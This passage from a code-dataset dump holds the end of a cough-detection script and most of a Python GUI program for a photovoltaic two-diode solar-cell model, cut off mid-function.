y)\r\nprint('Accuracy: %.2f' % (accuracy * 100))\r\nprint(\"Davai\")\r\n\r\ndef tryWithNeural(data):\r\n\r\n    dataFormated = []\r\n    for dat in data:\r\n        dataFormated.append(float(dat))\r\n    numArr = np.array(dataFormated)\r\n    numArr = numArr.reshape((1, 3))\r\n    #print(numArr)\r\n    res = model.predict(numArr)\r\n    #print(res)\r\n    if res > 0.5:\r\n        print(\"Covid!!!\")\r\n        return False\r\n    else:\r\n        print(\"Everything is fine\")\r\n        return True\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    res  = True\r\n    while res:\r\n        res = print_hi('PyCharm')\r\n\r\n\r\n\r\n\r\n","repo_name":"alexandartsvetanov/Cough-detector","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36978171390","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n# ======================================================================================================\r\n# Photovoltaic Solar Cell Two-Diode Model\r\n# Code written by:\r\n#   Pr. Sidi Hamady\r\n#   Université de Lorraine, France\r\n#   sidi.hamady@univ-lorraine.fr\r\n# See Copyright Notice in COPYRIGHT\r\n# HowTo in README.md and README.pdf\r\n# https://github.com/sidihamady/Photovoltaic-Model\r\n# http://www.hamady.org/photovoltaics/PhotovoltaicModel.zip\r\n# ======================================================================================================\r\n\r\n# PhotovoltaicModelCore.py\r\n#   the class PhotovoltaicModelCore implements the program core functionality\r\n#   only the constructor and the calculate function are to be called from outside the class\r\n#   example (to put in a test.py file, for instance):\r\n#\r\n#       #!/usr/bin/env python\r\n#       #-*- coding: utf-8 -*-\r\n#\r\n#       from PhotovoltaicModelCore import *\r\n#\r\n#       PVM = PhotovoltaicModelCore(verbose = False, useTkinterGUI = True)\r\n#\r\n#       PVM.calculate(\r\n#           Temperature             = 300.0,                        # Temperature in K\r\n#           Isc                     = 35.0e-3,                      # Short-cicruit current in A\r\n#           Is1                     = 1e-9,                         # Reverse saturation current in A for diode 1\r\n#           n1                      = 1.5,                          # Ideality factor for diode 1\r\n#           Is2                     = 1e-9,                         # Reverse saturation current in A for diode 2\r\n#           n2                      = 2.0,                          # Ideality factor for diode 2\r\n#           Diode2                  = True,                         # Enable/Disable diode 2\r\n#           Ncells                  = 1,                            # Number of solar cells in series\r\n#           Rs                      = 1.0,                          # Series resistance in Ohms\r\n#           Rp                      = 10000.0,                      # Parallel resistance in Ohms\r\n#           Vstart                  = 0.0,                          # Voltage start value in V\r\n#           Vend                    = 1.0,                          # Voltage end value in V\r\n#           InputFilename           = None,                         # current-voltage characteristic filename (e.g. containing experimental data)\r\n#                                                                   #   two columns (voltage in V  and current in A):\r\n#                                                                   #   0.00\t-20.035e-3\r\n#                                                                   #   0.05\t-20.035e-3\r\n#                                                                   #   ...\r\n#                                                                   #   0.55\t-1.5e-8\r\n#           Fit                     = False,                        # Fit the current-voltage characteristic contained in InputFilename\r\n#           OutputFilename          = './PhotovoltaicModelOutput'   # Output file name without extension\r\n#                                                                   #   (used to save figure in PDF format if in GUI mode, and the text output data).\r\n#                                                                   #   set to None to disable.\r\n#           )\r\n#\r\n\r\n# import as usual\r\nimport math\r\nimport numpy as np\r\nimport scipy as sp\r\nimport scipy.optimize as spo\r\nimport distutils.version as dver\r\nimport sys, os, time\r\nimport threading\r\n\r\nTkFound = False\r\nTkRet   = ''\r\n\r\n# try to load the tkinter and matplotlib modules\r\n# should be always installed in any Linux distribution\r\n# (for Windows, just use some ready-to-use packages such as anaconda (https://www.anaconda.com/distribution/))\r\ntry:\r\n\r\n    import matplotlib\r\n    matplotlib.use('TkAgg')\r\n    import matplotlib.pyplot as pl\r\n    from matplotlib.backends.backend_pdf import PdfPages\r\n    import matplotlib.backends.backend_tkagg\r\n    from matplotlib.font_manager import FontProperties\r\n    if sys.version_info[0] < 3:\r\n        # Python 2.7.x\r\n        from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\r\n        import Tkinter as Tk\r\n        import ttk\r\n        import tkFileDialog\r\n        import tkFont\r\n        import tkMessageBox\r\n    else:\r\n        # Python 3.x\r\n        from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\r\n        from matplotlib.backends.backend_tkagg import NavigationToolbar2Tk as NavigationToolbar2TkAgg\r\n        import tkinter as Tk\r\n        import tkinter.ttk as ttk\r\n        import tkinter.filedialog as tkFileDialog\r\n        import tkinter.font as tkFont\r\n        import tkinter.messagebox as tkMessageBox\r\n    # end if\r\n\r\n    class NavigationToolbar(NavigationToolbar2TkAgg):\r\n        \"\"\" custom Tk toolbar \"\"\"\r\n        def __init__(self, chart):\r\n            NavigationToolbar2TkAgg.__init__(self, chart.canvas, chart.root)\r\n            self.chart = chart\r\n        # end __init__\r\n        try:\r\n            toolitems = [tt for tt in NavigationToolbar2TkAgg.toolitems if tt[0] in ('Home', 'Zoom')]\r\n            toolitems.append(('AutoScale', 'Auto scale the plot', 'hand', 'onAutoScale'))\r\n            toolitems.append(('Save', 'Save the plot', 'filesave', 'onSave'))\r\n        except:\r\n            pass\r\n        # end try\r\n        def onAutoScale(self):\r\n            self.chart.onAutoScale()\r\n        # end onAutoScale\r\n        def onSave(self):\r\n            self.chart.onSave()\r\n        # end onSave\r\n    # end NavigationToolbar\r\n\r\n    TkFound = True\r\n\r\nexcept ImportError as ierr:\r\n    # if Tkinter is not found, just install or update python/numpy/scipy/matplotlib/tk modules\r\n    TkRet = \"\\n! cannot load Tkinter:\\n  \" + (\"{0}\".format(ierr)) + \"\\n\"\r\n    pass\r\nexcept Exception as excT:\r\n    TkRet = \"\\n! cannot load Tkinter:\\n  %s\\n\" % str(excT)\r\n    pass\r\n# end try\r\n\r\n# suppress a nonrelevant warning from matplotlib and scipy\r\nimport warnings\r\nwarnings.simplefilter(action='ignore', category=FutureWarning)\r\nwarnings.simplefilter(action='ignore', category=RuntimeWarning)\r\n\r\n# calculations done in a secondary thread, not on UI\r\nclass CalculationThread(threading.Thread):\r\n    def __init__(self, id, func):\r\n        threading.Thread.__init__(self)\r\n        self.id     = id\r\n        self.func   = func\r\n    # end __init__\r\n    def run(self):\r\n        self.func()\r\n    # end run\r\n# end CalculationThread\r\n\r\n# the core class\r\nclass PhotovoltaicModelCore(object):\r\n    \"\"\" the PhotovoltaicModel core class \"\"\"\r\n\r\n    def __init__(self, verbose = True, useTkinterGUI = True):\r\n        \"\"\" the PhotovoltaicModel class constructor \"\"\"\r\n\r\n        self.name               = \"Photovoltaic Solar Cell Two-Diode Model\"\r\n        self.__version__        = \"Version 1.0 Build 2205\"\r\n\r\n        # Basic constants\r\n        self.VT300              = 0.02585202874091      # kT/q at T = 300 K\r\n        \r\n        # current-voltage characteristic filename (e.g. containing experimental data)\r\n        # two columns (voltage in V  and current in A):\r\n        # 0.00\t-20.035e-3\r\n        # 0.05\t-20.035e-3\r\n        # ...\r\n        # 0.55\t-1.5e-8\r\n        self.InputFilename      = None\r\n        self.ModifTime          = 0\r\n        # the used data delimiter (usually TAB) in the I-V ASCII file\r\n        self.DataDelimiter      = '\\t'\r\n        # number of rows to skip from the file (by default the first two rows are skipped)\r\n        self.SkipRows           = 2\r\n\r\n        self.Temperature        = 300.0                 # in K\r\n        self.VT                 = self.VT300 * self.Temperature / 300.0\r\n        self.Isc                = 35.0e-3               # Short-cicruit current in A\r\n        self.Is1                = 1e-9                  # Reverse saturation current in A for diode 1\r\n        self.n1                 = 1.5                   # Ideality factor for diode 1\r\n        self.Is2                = 1e-9                  # Reverse saturation current in A for diode 2\r\n        self.n2                 = 2.0                   # Ideality factor for diode 2\r\n        self.Diode2             = True                  # Enable/Disable diode 2\r\n        self.Ncells             = 1                     # Number of solar cells in series\r\n        self.Rs                 = 10.0                  # Series resistance in Ohms\r\n        self.Rp                 = 10000.0               # Parallel resistance in Ohms\r\n        self.Vstart             = 0.0                   # Voltage start value in V\r\n        self.Vend               = 1.0                   # Voltage end value in V\r\n        self.OutputFilename     = './PhotovoltaicModelOutput'\r\n\r\n        # current-voltage characteristic loaded from a text file (e.g. experimental data)\r\n        self.VoltageX           = None\r\n        self.CurrentX           = None\r\n        self.PVpoints           = None\r\n        self.VOCX               = None\r\n        self.ISCX               = None\r\n        self.VmX                = None\r\n        self.ImX                = None\r\n        self.FFX                = None\r\n        self.PVguess            = True\r\n        #\r\n\r\n        self.VOCX               = self.Vend\r\n\r\n        # calculated parameters\r\n        self.VoltageY           = None\r\n        self.CurrentY           = None\r\n        self.VOCY               = None\r\n        self.ISCY               = None\r\n        self.VmY                = None\r\n        self.ImY                = None\r\n        self.FFY                = None\r\n        #\r\n\r\n        self.running            = False\r\n        self.threadfinish       = None\r\n        self.thread             = None\r\n        self.actionbutton       = None\r\n        self.timerduration      = 100       # in milliseconds\r\n\r\n        self.report             = None\r\n\r\n        self.root               = None\r\n        self.GUIstarted         = False\r\n        self.PlotInitialized    = False\r\n\r\n        self.FileLoaded         = False\r\n\r\n        self.tic                = 0.0\r\n\r\n        self.nPointsMin         =   20\r\n        self.nPoints            =  100\r\n        self.nPointsDef         =  100\r\n        self.nPointsMax         = 1000\r\n\r\n        # one can set verbose to False to disable printing output\r\n        self.verbose            = verbose\r\n        if not self.verbose:\r\n            print(\"\\nverbose set to False: printing output disabled\")\r\n        # end if\r\n\r\n        self.reportMessage      = None\r\n\r\n        # useTkinterGUI: the program can be used in graphical (GUI) mode or command-line only mode. \r\n        #   in command-line mode (useTkinterGUI = False) the results are printed out and saved in text files.\r\n        #   the command-line mode is useful to perform specific calculations or to inegrate in other simulations.\r\n        if useTkinterGUI and (not TkFound):\r\n            # if Tkinter is not found, just install or update python/numpy/scipy/matplotlib/tk modules\r\n            print(TkRet)\r\n        # end if\r\n        self.useTkinterGUI = useTkinterGUI if TkFound else False\r\n\r\n        return\r\n\r\n    # end __init__\r\n\r\n    def calculate(self, \r\n        Temperature             = 300.0,\r\n        Isc                     = 35.0e-3,\r\n        Is1                     = 1e-9,\r\n        n1                      = 1.5,\r\n        Is2                     = 1e-9,\r\n        n2                      = 2.0,\r\n        Diode2                  = True,\r\n        Ncells                  = 1,\r\n        Rs                      = 10.0,\r\n        Rp                      = 10000.0,\r\n        Vstart                  = 0.0,\r\n        Vend                    = 1.0,\r\n        InputFilename           = None,\r\n        Fit                     = False,\r\n        OutputFilename          = './PhotovoltaicModelOutput'):\r\n        \"\"\" the PhotovoltaicModel main function \"\"\"\r\n\r\n        # Temperature: in Kelvin (from 100 K to 500 K)\r\n        self.Temperature    = Temperature   if ((Temperature >= 100.0)  and (Temperature <= 500.0))     else 300.0\r\n        self.VT             = self.VT300 * self.Temperature / 300.0     # in V\r\n\r\n        # Short-cicruit current in A\r\n        self.Isc            = Isc           if ((Isc    >= 0.0)         and (Isc    <= 100.0))          else 20.0e-3\r\n\r\n        # Reverse saturation current in A for diode 1\r\n        self.Is1            = Is1           if ((Is1    > 0.0)          and (Is1    <= 1e-3))           else 1e-9\r\n        self.n1             = n1            if ((n1     >= 1.0)         and (n1     <= 100.0))          else 1.0\r\n\r\n        # Reverse saturation current in A for diode 2\r\n        self.Is2            = Is1           if ((Is1    >= 0.0)         and (Is1    <= 1e-3))           else 1e-9\r\n\r\n        # Ideality factor for diode 2\r\n        self.n2             = n2            if ((n2     >= 1.0)         and (n2     <= 200.0))          else 2.0\r\n\r\n        # Enable/Disable diode 2\r\n        self.Diode2         = Diode2\r\n\r\n        # Number of solar cells in series\r\n        self.Ncells         = Ncells        if ((Ncells >= 1)           and (Ncells     <= 1000))       else 1\r\n\r\n        # Series resistance in Ohms\r\n        self.Rs             = Rs            if ((Rs     >= 1e-6)        and (Rs     <= 1e6))            else 10.0\r\n\r\n        # Parallel resistance in Ohms\r\n        self.Rp             = Rp            if ((Rp     >= 1e-3)        and (Rp     <= 1e9))            else 10000.0\r\n\r\n        # Voltage start value in V\r\n        self.Vstart         = Vstart        if ((Vstart >= 0.0)         and (Vstart <= 500.0))          else 0.0\r\n\r\n        # Voltage end value in V\r\n        self.Vend           = Vend          if ((Vend   >= 0.0)         and (Vend   <= 500.0))          else 0.0\r\n\r\n        # Output file name without extension (used to save figure in PDF format if in GUI mode, and the text output data).\r\n        #   set to None to disable.\r\n        self.OutputFilename         = OutputFilename\r\n        if self.OutputFilename and (not self.OutputFilename.endswith('.pdf')):\r\n            self.OutputFilename     = self.OutputFilename + '.pdf'\r\n        # end if\r\n\r\n        # current-voltage characteristic filename (e.g. containing experimental data)\r\n        # two columns (voltage in V  and current in A):\r\n        # 0.00\t-20.035e-3\r\n        # 0.05\t-20.035e-3\r\n        # ...\r\n        # 0.55\t-1.5e-8\r\n        self.InputFilename = InputFilename\r\n        self.ModifTime     = self.getModifTime(self.InputFilename)\r\n\r\n        Fit = False     # Fit the current-voltage characteristic contained in InputFilename\r\n\r\n        if self.useTkinterGUI:\r\n            # GUI mode: calculation done in a working thread\r\n            self.startGUI(Fit = Fit)\r\n        else:\r\n            # command-line mode\r\n            self.start(Fit = Fit)\r\n        # end if\r\n\r\n        return\r\n\r\n    # end calculate\r\n\r\n    def getModifTime(self, InputFilename):\r\n        mt = 0\r\n        try:\r\n            mt = os.stat(InputFilename).st_mtime\r\n        except:\r\n            pass\r\n        # end try\r\n        return mt\r\n    # end getModifTime\r\n\r\n    def isRunning(self):\r\n        if (self.thread is None):\r\n            return self.running\r\n        # end if\r\n        threadalive = self.thread.isAlive() if (sys.version_info[0] < 3) else self.thread.is_alive()\r\n        if (not threadalive):\r\n            self.thread  = None\r\n            self.running = False\r\n        # end if\r\n        return self.running\r\n    # end isRunning\r\n\r\n    def setRunning(self, running = True):\r\n        self.running = running\r\n        if self.actionbutton is not None:\r\n            self.actionbutton[\"text\"] = self.actionbuttonText\r\n            if self.running:\r\n                self.actionbutton.configure(style='Red.TButton')\r\n            else:\r\n                self.actionbutton.configure(style='Black.TButton')\r\n                self.actionbutton = None\r\n            # end if\r\n        # end if\r\n    # end setRunning\r\n\r\n    # init the Tkinter GUI\r\n    def startGUI(self, Fit = False):\r\n\r\n        if self.GUIstarted or (not self.useTkinterGUI):\r\n            return\r\n        # end if\r\n\r\n        try:\r\n            self.plotcount      = 1\r\n            self.curvecount     = 2\r\n            self.xLabel         = {}\r\n            self.yLabel         = {}\r\n            self.xLabel[0]      = '$Voltage\\ (V)$'\r\n            self.yLabel[0]      = '$Current\\ (A)$'\r\n\r\n            self.root = Tk.Tk()\r\n            self.root.bind_class(\"Entry\",\"<Control-a>\", self.onEntrySelectAll)\r\n            self.root.bind_class(\"Entry\",\"<Control-z>\", self.onEntryUndo)\r\n            self.root.bind_class(\"Entry\",\"<Control-y>\", self.onEntryRedo)\r\n            self.root.withdraw()\r\n            self.root.wm_title(self.name)\r\n            self.root.option_add('*Dialog.msg.font', 'Helvetica 11')\r\n\r\n            self.figure = matplotlib.figure.Figure(figsize=(10,8), dpi=100, facecolor='#FFFFFF', edgecolor = '#FFFFFF', linewidth = 1.0, frameon=True)\r\n            self.figure.subplots_adjust(top = 0.90, bottom = 0.12, left = 0.12, right = 0.96, wspace = 0.25, hspace = 0.25)\r\n\r\n            self.plot       = {}\r\n            self.plot[0]    = self.figure.add_subplot(111)\r\n            self.plot[0].set_xlim( 0.0,     0.7)\r\n            self.plot[0].set_ylim(-0.035,   0.005)\r\n\r\n            self.line0a     = None\r\n            self.line0b     = None\r\n\r\n            self.datax      = {}\r\n            self.datay      = {}\r\n            self.datax[0]   = None\r\n            self.datay[0]   = None\r\n            self.datax[1]   = None\r\n            self.datay[1]   = None\r\n\r\n            controlWidth    = 10\r\n\r\n            spx  = 6\r\n            spy  = 6\r\n            spxm = 1\r\n            parFrameA = Tk.Frame(self.root)\r\n            parFrameA.pack(fill=Tk.X, side=Tk.TOP, padx=spx, pady=spx)\r\n            parFrameAt = Tk.Frame(self.root)\r\n            parFrameAt.pack(fill=Tk.X, side=Tk.TOP, padx=spx, pady=spx)\r\n            parFrameB = Tk.Frame(self.root)\r\n            parFrameB.pack(fill=Tk.X, side=Tk.TOP, padx=spx, pady=spx)\r\n\r\n            FloatValidate = (parFrameA.register(self.onFloatValidate), '%P')\r\n\r\n            self.TemperatureLabel = Tk.Label(parFrameA, text=\"T (K): \")\r\n            self.TemperatureLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.TemperatureEdit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.TemperatureEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.TemperatureEdit.insert(0, (\"%.1f\" % self.Temperature) if (self.Temperature is not None) else \"\")\r\n            self.TemperatureEdit.prev = None\r\n            self.TemperatureEdit.next = None\r\n\r\n            self.IscLabel = Tk.Label(parFrameA, text=\"Isc (A): \")\r\n            self.IscLabel.pack(side=Tk.LEFT, padx=(spxm, spxm), pady=spy)\r\n            self.IscEdit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.IscEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.IscEdit.insert(0, (\"%.4g\" % self.Isc) if (self.Isc is not None) else \"\")\r\n            self.IscEdit.prev = None\r\n            self.IscEdit.next = None\r\n\r\n            self.Is1Label = Tk.Label(parFrameA, text=\"Is1 (A): \")\r\n            self.Is1Label.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.Is1Edit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.Is1Edit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.Is1Edit.insert(0, (\"%.4g\" % self.Is1) if (self.Is1 is not None) else \"\")\r\n            self.Is1Edit.prev = None\r\n            self.Is1Edit.next = None\r\n            self.n1Label = Tk.Label(parFrameA, text=\"n1: \")\r\n            self.n1Label.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.n1Edit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.n1Edit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.n1Edit.insert(0, (\"%.4f\" % self.n1) if (self.n1 is not None) else \"\")\r\n            self.n1Edit.prev = None\r\n            self.n1Edit.next = None\r\n\r\n            self.Is2Label = Tk.Label(parFrameA, text=\"Is2 (A): \")\r\n            self.Is2Label.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.Is2Edit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.Is2Edit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.Is2Edit.insert(0, (\"%.4g\" % self.Is2) if (self.Is2 is not None) else \"\")\r\n            self.Is2Edit.prev = None\r\n            self.Is2Edit.next = None\r\n            self.Diode2Var = Tk.BooleanVar()\r\n            self.Diode2Opt = Tk.Checkbutton(parFrameA, text=\"\", variable=self.Diode2Var, command=self.onDiode2Opt)\r\n            self.Diode2Opt.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.Diode2Opt.select()\r\n            self.n2Label = Tk.Label(parFrameA, text=\"n2: \")\r\n            self.n2Label.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.n2Edit = Tk.Entry(parFrameA, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.n2Edit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.n2Edit.insert(0, (\"%.4f\" % self.n2) if (self.n2 is not None) else \"\")\r\n            self.n2Edit.prev = None\r\n            self.n2Edit.next = None\r\n\r\n            self.NcellsLabel = Tk.Label(parFrameA, text=\"# Cells in series: \")\r\n            self.NcellsLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.NcellsEdit = Tk.Entry(parFrameA, width=controlWidth//2, validate=\"key\", vcmd=FloatValidate)\r\n            self.NcellsEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.NcellsEdit.insert(0, (\"%d\" % self.Ncells) if (self.Ncells is not None) else \"\")\r\n            self.NcellsEdit.prev = None\r\n            self.NcellsEdit.next = None\r\n\r\n            self.RsLabel = Tk.Label(parFrameAt, text=\"Rs (Ohms): \")\r\n            self.RsLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.RsEdit = Tk.Entry(parFrameAt, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.RsEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.RsEdit.insert(0, (\"%.4g\" % self.Rs) if (self.Rs is not None) else \"\")\r\n            self.RsEdit.prev = None\r\n            self.RsEdit.next = None\r\n\r\n            self.RpLabel = Tk.Label(parFrameAt, text=\"Rp (Ohms): \")\r\n            self.RpLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.RpEdit = Tk.Entry(parFrameAt, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.RpEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.RpEdit.insert(0, (\"%.4g\" % self.Rp) if (self.Rp is not None) else \"\")\r\n            self.RpEdit.prev = None\r\n            self.RpEdit.next = None\r\n\r\n            self.VstartLabel = Tk.Label(parFrameAt, text=\"Vstart (V): \")\r\n            self.VstartLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.VstartEdit = Tk.Entry(parFrameAt, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.VstartEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.VstartEdit.insert(0, (\"%g\" % self.Vstart) if (self.Vstart is not None) else \"\")\r\n            self.VstartEdit.prev = None\r\n            self.VstartEdit.next = None\r\n\r\n            self.VendLabel = Tk.Label(parFrameAt, text=\"Vend (V): \")\r\n            self.VendLabel.pack(side=Tk.LEFT, padx=(spx, spxm), pady=spy)\r\n            self.VendEdit = Tk.Entry(parFrameAt, width=controlWidth, validate=\"key\", vcmd=FloatValidate)\r\n            self.VendEdit.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n            self.VendEdit.insert(0, (\"%g\" % self.Vend) if (self.Vend is not None) else \"\")\r\n            self.VendEdit.prev = None\r\n            self.VendEdit.next = None\r\n\r\n            self.GeneratorConventionVar = Tk.BooleanVar()\r\n            self.GeneratorConventionOpt = Tk.Checkbutton(parFrameAt, text=\"Plot in Generator Convention\", variable=self.GeneratorConventionVar, command=self.onGeneratorConvention)\r\n            self.GeneratorConventionOpt.pack(side=Tk.LEFT, padx=(spxm, spx), pady=spy)\r\n\r\n            self.InputFilenameLabel = Tk.Label(parFrameB, width=16, text=\"Input Filename: \")\r\n            self.InputFilenameLabel.pack(side=Tk.LEFT)\r\n            inputFilenameValidate = (parFrameB.register(self.onInputFilenameValidate), '%P')\r\n            self.InputFilenameEdit = Tk.Entry(parFrameB, validate=\"key\", vcmd=inputFilenameValidate)\r\n            self.InputFilenameEdit.pack(side=Tk.LEFT, fill=Tk.X, expand=1)\r\n            self.InputFilenameEdit.insert(0, self.InputFilename if (self.InputFilename is not None) else \"\")\r\n            self.InputFilenameEdit.prev = None\r\n            self.InputFilenameEdit.next = None\r\n            self.inputFilenameBrowse = ttk.Button(parFrameB, width=4, text=\"...\", command=self.onBrowse)\r\n            self.inputFilenameBrowse.pack(side=Tk.LEFT, padx=(2, 2))\r\n\r\n            self.btnstyle_red = ttk.Style()\r\n            self.btnstyle_red.configure(\"Red.TButton\", foreground=\"#DE0015\")\r\n            self.btnstyle_black = ttk.Style()\r\n            self.btnstyle_black.configure(\"Black.TButton\", foreground=\"black\")\r\n\r\n            self.btnFit = ttk.Button(parFrameB, width=controlWidth+2, text=\"Fit\", compound=Tk.LEFT, command=self.onFit)\r\n            self.btnFit.pack(side=Tk.LEFT, padx=spx, pady=spy)\r\n            self.btnFit.configure(style=\"Black.TButton\")\r\n            self.btnFit.configure(state=\"disabled\")\r\n\r\n            self.btnCalculate = ttk.Button(parFrameB, width=controlWidth+2, text=\"Calculate\", compound=Tk.LEFT, command=self.onStart)\r\n            self.btnCalculate.pack(side=Tk.LEFT, padx=spx, pady=spy)\r\n            self.btnCalculate.configure(style=\"Black.TButton\")\r\n\r\n            self.root.bind('<Return>', self.onEnter)\r\n\r\n            self.canvas = FigureCanvasTkAgg(self.figure, master=self.root)\r\n            self.canvas._tkcanvas.config(highlightthickness=0)\r\n\r\n            try:\r\n                self.toolbar = NavigationToolbar(self)\r\n            except:\r\n                self.toolbar = None\r\n                pass\r\n            # end try\r\n            self.toolbar.pack(side=Tk.BOTTOM, fill=Tk.X)\r\n\r\n            self.toolbar.update()\r\n            self.canvas._tkcanvas.pack(side=Tk.LEFT, fill=Tk.BOTH, expand=1)\r\n\r\n            if sys.version_info[0] < 3:\r\n                self.canvas.show()\r\n            else:\r\n                self.canvas.draw()\r\n            #\r\n\r\n            self.root.protocol('WM_DELETE_WINDOW', self.onClose)\r\n\r\n            self.linecolor          = ['r', 'b']\r\n            self.linestyle          = ['-', 'o']\r\n            self.linesize           = [2.0, 1.0]\r\n            self.markersize         = [2.0, 4.0]\r\n            self.line               = {}\r\n            self.scatter            = {}\r\n            for idc in range(0, self.curvecount):\r\n                self.line[idc]      = None\r\n                self.scatter[idc]   = None\r\n            # end for\r\n\r\n            # center the window\r\n            iw = self.root.winfo_screenwidth()\r\n            ih = self.root.winfo_screenheight()\r\n            isize = (1152, 720)\r\n            ix = (iw - isize[0]) / 2\r\n            iy = (ih - isize[1]) / 2\r\n            self.root.geometry(\"%dx%d+%d+%d\" % (isize + (ix, iy)))\r\n\r\n            self.root.minsize(800, 600)\r\n\r\n            self.fontsize = 12\r\n\r\n            for idp in range(0, self.plotcount):\r\n                try:\r\n                    self.plot[idp].tick_params(axis='x', labelsize=self.fontsize)\r\n                    self.plot[idp].tick_params(axis='y', labelsize=self.fontsize)\r\n                except:\r\n                    [tx.label.set_fontsize(self.fontsize) for tx in self.plot[idp].xaxis.get_major_ticks()]\r\n                    [ty.label.set_fontsize(self.fontsize) for ty in self.plot[idp].yaxis.get_major_ticks()]\r\n                    pass\r\n                # end try\r\n\r\n                self.plot[idp].set_xlabel(self.xLabel[idp], fontsize=self.fontsize)\r\n                self.plot[idp].set_ylabel(self.yLabel[idp], fontsize=self.fontsize)\r\n            # end for\r\n\r\n            if (os.name == \"nt\"):\r\n                self.root.iconbitmap(r'iconmain.ico')\r\n            else:\r\n                iconmain = Tk.PhotoImage(file='iconmain.gif')\r\n                self.root.tk.call('wm', 'iconphoto', self.root._w, iconmain)\r\n            # end if\r\n\r\n            self.popmenu = Tk.Menu(self.root, tearoff=0)\r\n            self.popmenu.add_command(label=\"Fit\", command=self.onFit)\r\n            self.popmenu.add_command(label=\"Calculate\", command=self.onStart)\r\n            self.popmenu.add_separator()\r\n            self.popmenu.add_command(label=\"Auto scale\", command=self.onAutoScale)\r\n            self.popmenu.add_separator()\r\n            self.popmenu.add_command(label=\"Close\", command=self.onClose)\r\n            self.popmenu.add_separator()\r\n            self.popmenu.add_command(label=\"About...\", command=self.onAbout)\r\n            self.root.bind(\"<Button-3>\", self.onPopmenu)\r\n\r\n            self.root.deiconify()\r\n\r\n            self.GUIstarted = True\r\n\r\n            self.start(Fit = Fit)\r\n\r\n            self.root.mainloop()\r\n\r\n        except Exception as excT:\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot initialize GUI:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            print(strErr)\r\n            os._exit(1)\r\n            # never reached\r\n            pass\r\n        # end try\r\n\r\n    # end startGUI\r\n\r\n    def isIncSorted(self, arr):\r\n        for ii in range(arr.size - 1):\r\n            if arr[ii + 1] <= arr[ii]:\r\n                return False\r\n            # end if\r\n        # end for\r\n        return True\r\n    # end isIncSorted\r\n\r\n    # load the I-V characteristic file\r\n    def loadFile(self):\r\n\r\n        if not self.GUIstarted:\r\n            self.FileLoaded = False\r\n        else:\r\n            try:\r\n                strT = self.InputFilenameEdit.get().strip(\"\\r\\n\\t\")\r\n                if os.path.isfile(strT):\r\n                    if (self.InputFilename != strT):\r\n                        self.InputFilename  = strT\r\n                        self.FileLoaded     = False\r\n                    else:\r\n                        modifTime = self.getModifTime(strT)\r\n                        if (modifTime > self.ModifTime):\r\n                            self.FileLoaded = False\r\n                        # end if\r\n                    # end if\r\n                else:\r\n                    self.InputFilenameEdit.delete(0, Tk.END)\r\n                    self.InputFilenameEdit.insert(0, self.InputFilename if (self.InputFilename is not None) else \"\")\r\n                # end if\r\n            except Exception as excT:\r\n                pass\r\n            # end try\r\n        # endif\r\n\r\n        if (self.InputFilename is None) or (not os.path.isfile(self.InputFilename)):\r\n            return False\r\n        # end if\r\n\r\n        if self.FileLoaded:\r\n            return True\r\n        # end if\r\n\r\n        try:\r\n\r\n            self.PVpoints  = 0\r\n            self.ModifTime = self.getModifTime(self.InputFilename)\r\n\r\n            # load the current-voltage characteristic from file (e.g. containing experimental data)\r\n            IVXData         = np.loadtxt(self.InputFilename, delimiter=self.DataDelimiter, skiprows=self.SkipRows, usecols=(0,1))\r\n            self.VoltageX   = IVXData[:,0]      # Volts\r\n            self.CurrentX   = IVXData[:,1]      # Amps\r\n            # check the data consistency\r\n            if ((len (self.VoltageX)    < 5)                        or \r\n                (len (self.CurrentX)    < 5)                        or \r\n                (len 